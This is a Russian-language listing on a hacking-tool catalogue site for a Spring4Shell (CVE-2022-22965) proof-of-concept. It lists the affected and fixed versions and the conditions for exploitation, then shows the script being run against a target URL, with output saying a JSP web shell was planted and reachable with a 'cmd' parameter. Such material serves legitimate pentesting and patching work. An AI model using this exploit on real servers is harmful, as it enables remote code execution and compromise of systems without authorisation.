Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-22965 — Spring4Shell | Kitploit
Инструменты/GitHubGitHub/nhattanhh/cve-2022-22965
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubnhattanhh/cve-2022-22965

CVE-2022-22965

Spring4Shell

Репозиторий
8 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-22965 Spring4Shell-PoC

Версия

  • Spring Framework < 5.2.20 and 5.3.18

Исправленная версия:

  • Spring Framework 5.3.18 and 5.2.20

  • Spring Boot 2.6.6 and 2.5.12

Подробности

  • Spring Core — это основной компонент Spring Framework. Он является фундаментом для создания других компонентов экосистемы Spring Framework, таких как Spring MVC, Spring Boot, Spring WebFlux. Код эксплойта может быть выполнен при следующих условиях:

    • JDK 9 или выше

    • Apache Tomcat выступает в роли сервлетного контейнера

    • Упаковка в WAR

    • Зависимости пакетов: spring-webmvc или spring-webflux

  • Если приложение развернуто в виде исполняемого jar-файла Spring Boot, как это происходит по умолчанию, оно не будет затронуто этой уязвимостью.

Эксплойт:

root@kitploit:~
python CVE-2022-22965.py --url http://172.16.1.10:8080/helloworld/greeting

Результат:

root@kitploit:~
└─$ python cve-spring4shell.py --url http://172.16.1.10:8080/helloworld/greeting
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://172.16.1.10:8080/shell.jsp?cmd=id
Скачать инструмент